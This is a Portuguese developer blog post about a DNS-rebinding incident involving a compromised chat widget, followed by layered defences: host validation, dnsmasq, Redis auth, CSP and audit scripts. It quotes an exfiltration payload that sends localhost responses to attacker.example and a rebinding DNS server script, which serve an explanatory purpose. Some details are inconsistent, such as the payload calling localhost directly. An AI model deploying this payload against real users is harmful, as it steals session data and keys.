Erro de DNS rebinding em API local — tela mostrando falha de autenticação em desenvolvimento web

DNS Rebinding: Como Um Domínio Malicioso Acessou Minha API Local e Vazou Chaves de Desenvolvimento

Naquela terça-feira às 3h da manhã, eu estava debugando uma API de pagamento em staging. Tudo funcionando perfeitamente. Até que abri o DevTools do navegador e vi algo que não deveria existir: uma request pra http://localhost:3000/admin/keys saindo do meu próprio frontend — só que não fui eu quem mandou. Um script de terceiro num widget de analytics tinha feito isso. E o pior: recebeu a resposta com status 200.

Meu coração parou por exatamente 4 segundos. Cronometrei.

Esse é o relato de como uma vulnerabilidade chamada DNS rebinding transformou minha API local de desenvolvimento num servidor aberto pra qualquer site malicioso — e como eu construí uma defesa em camadas que resolveu o problema de vez.

Se você roda APIs em localhost, usa Hot Reload, ou tem serviços ouvindo em 127.0.0.1 sem autenticação (sim, estou falando de você, que acha que “ninguém vai acessar localhost remotamente”)… esse texto é obrigatório.

O Que É DNS Rebinding (E Por Que Você Deve Estar Tremendo Agora)

DNS rebinding é um ataque em que um domínio malicioso resolve primeiro pra um IP público (pra servir o site atacante) e depois resolve pra 127.0.0.1 ou outro IP interno da vítima. O navegador, confiado como sempre, acha que está falando com o mesmo servidor — quando na verdade agora está batendo direto no seu serviço local.

O fluxo é cirúrgico:

  1. Vítima acessa https://clickbait-innocent.xyz
  2. DNS resolve pra 203.0.113.50 (servidor do atacante) — carrega a página normalmente
  3. O TTL expira (configurado pra 1 segundo pelo atacante)
  4. JavaScript na página faz fetch pra https://clickbait-innocent.xyz/admin/users
  5. 5.DNS agora resolve pra 127.0.0.1 — e o navegador manda a request pro seu serviço local

  6. O Same-Origin Policy fica quieto porque o domínio é o mesmo: clickbait-innocent.xyz

Resultado: o site malicioso acabou de acessar seu Elasticsearch local, seu Redis sem senha, sua API admin — tudo com as credenciais de sessão do navegador.

Eu sei. Eu também achei que era teoria da conspiração quando li a primeira vez.

Código JavaScript colorido em tela representa o debug de vulnerabilidade DNS rebinding em API de desenvolvimento

O Cenário Exato Do Meu Perrengue

Meu stack de desenvolvimento na época:

  • Frontend Next.js em localhost:3000
  • API Gateway (Express) em localhost:4000
  • Admin dashboard em localhost:4000/adminsem autenticação porque era “só dev”
  • Redis em localhost:6379sem senha porque era “só local”
  • MinIO (S3 local) em localhost:9000 — armazenando dumps de produção anonimizados

Eu era o cara que dizia “localhost é seguro por definição”. Eu era o problema.

O gatilho foi um widget de chat de terceiro que eu tinha adicionado ao frontend pra testar integração. Esse widget carregava JavaScript de um CDN. Na sexta-feira, funcionou. No sábado, o CDN foi comprometido. E na terça, alguém injetou um payload de DNS rebinding nele.

O payload não era complexo. Era elegante no seu horror:

// Código injetado no widget de chat comprometido
(async () => {
  const targets = [
    'http://localhost:3000/api/auth/session',
    'http://localhost:4000/admin/keys', 
    'http://localhost:6379', // Redis sem auth
  ];
  
  for (const target of targets) {
    try {
      const res = await fetch(target, {
        method: 'GET',
        credentials: 'include',
        signal: AbortSignal.timeout(3000)
      });
      const data = await res.text();
      // Exfiltra via imagem pra bypassar CORS
      new Image().src = `https://attacker.example/collect?d=${btoa(data)}`;
    } catch(e) {}
  }
})();

Esse código rodou no navegador de cada desenvolvedor que acessou nosso staging com o widget ativo. Todos nós tínhamos serviços rodando em localhost. Todos nós enviamos dados sensíveis pra um servidor desconhecido.

Como Eu Detectei (E Por Que Demorei Mais Do Que Deveria)

A detecção foi acidental. Eu estava com o DevTools aberto monitorando requests do frontend quando vi a chamada pra /admin/keys. Como não tinha clicado em nada que justificasse essa request, fui investigar.

Foi quando notei:

  • A request vinha de um script inline que não estava no meu código-fonte
  • O script tinha sido injetado pelo widget de chat
  • O CDN do widget respondia com um payload diferente do esperado

Eu tinha monitoramento no servidor de produção. Tinha alertas no CloudWatch. Tinha até hardening no servidor com fail2ban. Mas em localhost? Nada. Zero. Nenhum log, nenhum middleware de auditoria, nenhuma detecção de anomalia.

Lição dolorosa: você monitora o que acha que importa. O atacante ataca o que você não acha que existe.

O Ataque Passo a Passo: Anatomia Do DNS Rebinding

Depois do susto inicial, eu precisei entender exatamente como o ataque funcionava pra poder me defender. Reconstruí o cenário num laboratório.

O Servidor DNS Malicioso

O atacante rodava um DNS server customizado que respondia diferentemente baseado no número da query:

# dns-rebind-server.py (simplificado)
from dnslib import DNSRecord, QTYPE, A
import socket

class RebindDNS:
    def __init__(self):
        self.query_count = {}
        self.public_ip = "203.0.113.50"   # IP do servidor do atacante
        self.target_ip = "127.0.0.1"       # IP do serviço local da vítima

    def resolve(self, request):
        qname = str(request.q.qname)
        count = self.query_count.get(qname, 0)
        self.query_count[qname] = count + 1

        reply = request.reply()
        if count == 0:
            # Primeira resolução: IP público (carrega a página)
            reply.add_answer(A(qname, self.public_ip, ttl=1))
        else:
            # Resoluções subsequentes: localhost (acessa o serviço local)
            reply.add_answer(A(qname, self.target_ip, ttl=1))
        return reply

# Roda na porta 53 UDP
# Registrado como NS para o domínio clickbait-innocent.xyz

O TTL de 1 segundo garante que o navegador não faça cache. Na primeira request, o domínio aponta pro servidor do atacante. Na segunda, aponta pro 127.0.0.1 da vítima.

Por Que O Same-Origin Policy Não Te Salva

Aqui está o pulo do gato que me fez perder o sono:

O Same-Origin Policy (SOP) compara domínio + porta + protocolo. Se o JavaScript em https://clickbait-innocent.xyz faz fetch pra https://clickbaint-innocent.xyz:4000/admin/keys, o navegador permite — porque o domínio é o mesmo. O fato de que o DNS resolveu pra IPs diferentes é irrelevante pro SOP.

O navegador não valida “esse IP mudou”. Ele confia no DNS cegamente.

É como se alguém trocasse a placa da sua casa de noite, o carteiro entregasse a correspondência pro endereço errado, e o sistema de CEP dissesse “está tudo certo, o CEP confere”.

🔥 Box do Perrengue

O Desafio: Você acabou de descobrir que 12 desenvolvedores do seu time tinham o Redis rodando sem senha em localhost. Todos acessaram o staging na última semana. O widget de chat esteve ativo por 4 dias.

Pergunta: Quais dados podem ter sido exfiltrados? Como você containment e notifica?

Dica: Redis KEYS * retorna todas as chaves. CONFIG GET dir revela o path do servidor. FLUSHALL apaga tudo. O que o atacante não fez é tão importante quanto o que ele fez.

Defesa Em Camadas: O Que Eu Construí Depois Do Susto

Código HTML com mensagem de erro ilustra proteção contra DNS rebinding em aplicações web

Não existe bala de prata pra DNS rebinding. A defesa tem que ser em camadas — e cada camada cobre o ponto cego da outra.

Camada 1: Host Header Validation

A primeira e mais simples defesa. Todo serviço local agora valida o header Host:

// middleware/host-validation.js
const ALLOWED_HOSTS = [
  'localhost:3000',
  'localhost:4000',
  '127.0.0.1:3000',
  '127.0.0.1:4000',
];

function validateHost(req, res, next) {
  const host = req.headers.host;
  
  if (!host || !ALLOWED_HOSTS.includes(host)) {
    console.warn(`[HOST-BLOCK] Rejected request with Host: ${host} from ${req.ip}`);
    return res.status(403).json({ 
      error: 'Forbidden',
      message: 'Invalid Host header' 
    });
  }
  next();
}

// Aplica em TODOS os serviços Express
app.use(validateHost);

Quando o DNS rebinding acontece, o navegador envia o header Host: clickbait-innocent.xyz:4000 pro seu serviço local. O middleware bloqueia porque não está na lista de hosts permitidos.

Simples? Sim. Eficaz? Bastante. Mas não suficiente sozinho — atacantes podem manipular headers em certos cenários.

Camada 2: DNS Pinning No Servidor

Em vez de aceitar que o DNS pode mudar, o servidor resolve o hostname uma vez e “pinna” o IP:

# dns-pinning.sh — aplica em todos os serviços locais
# Adiciona ao /etc/hosts pra bypassar DNS externo

# Serviços internos sempre resolvem localmente
echo "127.0.0.1 localhost localhost.localdomain" >> /etc/hosts
echo "::1 localhost localhost.localdomain" >> /etc/hosts

# Bloqueia DNS rebinding com dnsmasq
cat > /etc/dnsmasq.d/stop-rebinding.conf << 'EOF'
# Rejeita respostas DNS que apontam pra IPs privados
stop-dns-rebind
# Domínios permitidos que podem resolver pra privado (se necessário)
rebind-domain-ok=/localhost/
rebind-domain-ok=/local/
EOF

systemctl restart dnsmasq

A diretiva stop-dns-rebind do dnsmasq é uma defesa poderosa: ela descarta respostas DNS que apontam pra ranges privados (127.0.0.0/8, 10.0.0.0/8, 192.168.0.0/16). Se o atacante tentar resolver clickbaint-innocent.xyz pra 127.0.0.1, o dnsmasq bloqueia.

Eu ativei isso primeiro no meu Pi-hole que já rodava na rede, que usa dnsmasq por baixo. Proteção de rede inteira com uma linha de config.

Camada 3: Autenticação Em Todo Serviço Local

Essa foi a mudança mais dolorosa e mais necessária.

Meu manifesto era: "Se roda em localhost, precisa de autenticação. Sem exceção."

# docker-compose.dev.yml — antes (INSEGURO)
services:
  redis:
    image: redis:7
    ports:
      - "6379:6379"
    # SEM SENHA. SSEEEEM SENHA.

# docker-compose.dev.yml — depois (CORRETO)
services:
  redis:
    image: redis:7
    ports:
      - "127.0.0.1:6379:6379"  # Bind só em localhost
    command: >
      redis-server
      --requirepass ${REDIS_DEV_PASSWORD}
      --bind 127.0.0.1

  api:
    environment:
      - REDIS_URL=redis://:${REDIS_DEV_PASSWORD}@127.0.0.1:6379

Notou o 127.0.0.1:6379:6379? Antes era "6379:6379", que faz bind em todas as interfaces. Mesmo num container Docker, se a rede estiver mal configurada, isso fica acessível. Com o bind explícito em 127.0.0.1, só processos locais acessam.

Camada 4: Content Security Policy (CSP)

O CSP impede que scripts não autorizados façam requests:

// next.config.js
const cspHeader = `
  default-src 'self';
  script-src 'self' 'unsafe-inline' https://trusted-cdn.example.com;
  connect-src 'self' http://localhost:* ws://localhost:*;
  img-src 'self' data: https:;
  style-src 'self' 'unsafe-inline';
`;

module.exports = {
  async headers() {
    return [{
      source: '/(.*)',
      headers: [{
        key: 'Content-Security-Policy',
        value: cspHeader.replace(/\n/g, ' ').trim()
      }]
    }];
  }
};

O connect-src 'self' http://localhost:* restringe pra quais origens o JavaScript pode fazer fetch. Se o widget de chat tentasse conectar num domínio externo não listado, o navegador bloquearia.

O Script de Auditoria Que Agora Roda Toda Segunda

Depois do incidente, criei um script que audita todos os serviços locais automaticamente:

#!/usr/bin/env bash
# audit-localhost-services.sh
# Roda toda segunda via crontab
# Reporta serviços sem autenticação em localhost

set -euo pipefail

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
NC='\033[0m'

echo "=== AUDITORIA DE SERVIÇOS LOCALHOST — $(date) ==="
echo ""

# 1. Lista portas abertas em localhost
echo -e "${YELLOW}[1] Portas abertas em 127.0.0.1:${NC}"
open_ports=$(ss -tlnp | grep '127.0.0.1' || true)
if [[ -z "$open_ports" ]]; then
  echo -e "  ${GREEN}Nenhuma porta aberta${NC}"
else
  echo "$open_ports" | while read -r line; do
    echo "  $line"
  done
fi
echo ""

# 2. Testa serviços comuns sem autenticação
echo -e "${YELLOW}[2] Teste de autenticação em serviços comuns:${NC}"

# Redis
if curl -s --connect-timeout 2 telnet://127.0.0.1:6379 &>/dev/null; then
  redis_response=$(echo "PING" | nc -w 2 127.0.0.1 6379 2>/dev/null || echo "TIMEOUT")
  if [[ "$redis_response" == *"+PONG"* ]]; then
    echo -e "  ${RED}REDIS (6379): SEM AUTENTICAÇÃO — respondendo PONG${NC}"
  else
    echo -e "  ${GREEN}REDIS (6379): Autenticado ou indisponível${NC}"
  fi
fi

# Elasticsearch
es_response=$(curl -s --connect-timeout 2 http://localhost:9200/_cluster/health 2>/dev/null || echo "")
if [[ "$es_response" == *"cluster_name"* ]]; then
  echo -e "  ${RED}ELASTICSEARCH (9200): SEM AUTENTICAÇÃO — cluster acessível${NC}"
else
  echo -e "  ${GREEN}ELASTICSEARCH (9200): Autenticado ou indisponível${NC}"
fi

# MongoDB
mongo_response=$(curl -s --connect-timeout 2 http://localhost:27017 2>/dev/null || echo "")
if [[ "$mongo_response" == *"MongoDB"* ]]; then
  echo -e "  ${RED}MONGODB (27017): SEM AUTENTICAÇÃO${NC}"
else
  echo -e "  ${GREEN}MONGODB (27017): Autenticado ou indisponível${NC}"
fi

# MinIO
minio_response=$(curl -s --connect-timeout 2 http://localhost:9000/minio/health/live 2>/dev/null || echo "")
if [[ -n "$minio_response" ]]; then
  echo -e "  ${YELLOW}MINIO (9000): Acessível${NC}"
fi

echo ""

# 3. Verifica Host header validation
echo -e "${YELLOW}[3] Teste de Host Header Validation:${NC}"
for port in 3000 4000 8080; do
  if curl -s --connect-timeout 2 -o /dev/null -w "%{http_code}" \
      -H "Host: evil-rebind.example.com" \
      "http://localhost:${port}/" 2>/dev/null | grep -q "403"; then
    echo -e "  ${GREEN}localhost:${port}: Rejeita Host externo ✓${NC}"
  else
    code=$(curl -s --connect-timeout 2 -o /dev/null -w "%{http_code}" \
      -H "Host: evil-rebind.example.com" \
      "http://localhost:${port}/" 2>/dev/null || echo "000")
    if [[ "$code" != "000" ]]; then
      echo -e "  ${RED}localhost:${port}: ACEITA Host externo (HTTP ${code}) ✗${NC}"
    fi
  fi
done

echo ""
echo "=== FIM DA AUDITORIA ==="

Esse script roda toda segunda-feira às 9h e manda o resultado pro meu canal de alertas. Se alguém sobe um novo serviço sem autenticação, eu sei em menos de 7 dias — e não em 4 dias de vazamento.

Combinei com o script de monitoramento de DNS que já rodava pra ter visibilidade completa.

Testando a Defesa: Simulação De Ataque Controlada

Configurar defesas sem testar é como comprar extintor sem saber onde fica. Criei um script de simulação:

#!/usr/bin/env bash
# simulate-rebind-test.sh
# Testa se seus serviços locais resistem a DNS rebinding
# RODE APENAS EM AMBIENTE DE DESENVOLVIMENTO

TARGET_PORT="${1:-4000}"
EVIL_HOST="rebind-test.local"

echo "=== Teste de DNS Rebinding contra localhost:${TARGET_PORT} ==="
echo ""

# Teste 1: Host header validation
echo "[1] Testando Host Header Validation..."
response=$(curl -s -o /dev/null -w "%{http_code}" \
  -H "Host: ${EVIL_HOST}" \
  "http://localhost:${TARGET_PORT}/")
if [[ "$response" == "403" ]]; then
  echo "  ✅ PASSOU: Rejeitou request com Host: ${EVIL_HOST}"
elif [[ "$response" == "000" ]]; then
  echo "  ⚠️  SERVIÇO NÃO RODANDO na porta ${TARGET_PORT}"
else
  echo "  ❌ FALHOU: Aceitou request com Host externo (HTTP ${response})"
fi

# Teste 2: Origin header
echo "[2] Testando Origin Validation..."
response=$(curl -s -o /dev/null -w "%{http_code}" \
  -H "Origin: https://${EVIL_HOST}" \
  -H "Host: localhost:${TARGET_PORT}" \
  "http://localhost:${TARGET_PORT}/")
if [[ "$response" == "403" ]]; then
  echo "  ✅ PASSOU: Rejeitou Origin externo"
elif [[ "$response" == "000" ]]; then
  echo "  ⚠️  SERVIÇO NÃO RODANDO"
else
  echo "  ❌ FALHOU: Aceitou Origin externo (HTTP ${response})"
fi

# Teste 3: CORS preflight
echo "[3] Testando configuração CORS..."
cors_header=$(curl -s -I \
  -H "Origin: https://${EVIL_HOST}" \
  -H "Host: localhost:${TARGET_PORT}" \
  "http://localhost:${TARGET_PORT}/" 2>/dev/null | \
  grep -i "access-control-allow-origin" || echo "none")

if [[ "$cors_header" == *"rebind-test"* ]]; then
  echo "  ❌ PERIGOSO: CORS permite Origin externo"
elif [[ "$cors_header" == "none" ]]; then
  echo "  ✅ SEGURO: Nenhum header CORS retornado pra Origin externo"
else
  echo "  ℹ️  CORS: ${cors_header}"
fi

echo ""
echo "=== Fim do teste ==="

Quando rodar esse script no seu ambiente, todos os testes devem passar. Se qualquer um falhar, você tem uma brecha de DNS rebinding aberta.

Lições Que Eu Paguei Caro Pra Aprender

Depois de semanas remediando, igual quando caçei aquele memory leak em produção, as lições ficaram marcadas:

  1. "Só é dev" não é desculpa. Seu ambiente de desenvolvimento tem dados sensíveis. Chaves de API, tokens, dados de staging. Trate localhost como produção.
  2. DNS é fundamentação, não proteção. O DNS foi feito pra resolver nomes, não pra ser muro de contenção. Não confie nele pra segurança.
  3. Terceiros são vetores de ataque. Cada CDN, cada widget, cada script externo que você carrega é uma superfície de ataque. Revise regularmente.
  4. Autenticação em localhost não é opcional. Redis sem senha, Elasticsearch aberto, API admin sem login — isso é bomba-relógio.
  5. CSP é seu amigo. Configure Content Security Policy. Limita o que scripts podem fazer mesmo se comprometidos.
  6. Monitore localhost. Se você não sabe o que roda nas suas portas, não pode proteger. O script de auditoria acima resolve isso.
  7. BIND em 127.0.0.1, não em 0.0.0.0. A diferença entre "6379:6379" e "127.0.0.1:6379:6379" no Docker pode ser a diferença entre seguro e invadido.

O Checklist Que Agora Faço Pra Cada Novo Serviço

Antes de subir qualquer serviço local, passo por esse checklist:

  • ✅ Autenticação configurada (mesmo que seja token simples)
  • ✅ Bind explícito em 127.0.0.1
  • ✅ Host Header Validation no middleware
  • ✅ CORS configurado pra permitir só origens legítimas
  • ✅ Nenhuma credencial de produção no .env
  • ✅ CSP headers configurados no frontend
  • ✅ Script de auditoria atualizado com a nova porta
  • ✅ Documentado no README do projeto (serviço, porta, auth)

Parece burocrático? É. Mas burocracia que salva dados é burocracia boa.

Ferramentas e Referências

  • dnsmasq com stop-dns-rebind — bloqueia respostas DNS com IPs privados
  • Owasp ZAP — scanner de segurança que detecta DNS rebinding em apps
  • singularity (GitHub) — ferramenta de teste específica pra DNS rebinding
  • Browser DevTools → Network tab — seu melhor amigo pra detectar requests suspeitas
  • Zero Trust — o mindset que deveria guiar toda configuração de rede

E Você? Quantas Portas Abertas Têm No Seu Localhost?

Eu sei que você está pensando "isso nunca vai acontecer comigo". Eu também pensava. Até acontecer.

Agora faz o seguinte teste: abre o terminal e roda ss -tlnp | grep 127.0.0.1. Conta quantas portas estão abertas. Pra cada uma, se pergunta: "se um site malicioso conseguisse acessar essa porta, o que ele conseguiria ler?"

Se a resposta te desconforta, é porque precisa ser consertada.

E aí, qual serviço sem autenticação você vai proteger primeiro? Me conta nos comentários — ou melhor, me conta qual automação de segurança você quer ver aqui no blog. DNS rebinding é só o começo.

Esse post faz parte da série Log de Erros, onde documento bugs reais que me ensinaram lições que nenhum tutorial ensina. Se já perdeu sono por causa de um bug silencioso, tem mais histórias aqui.

Posts Similares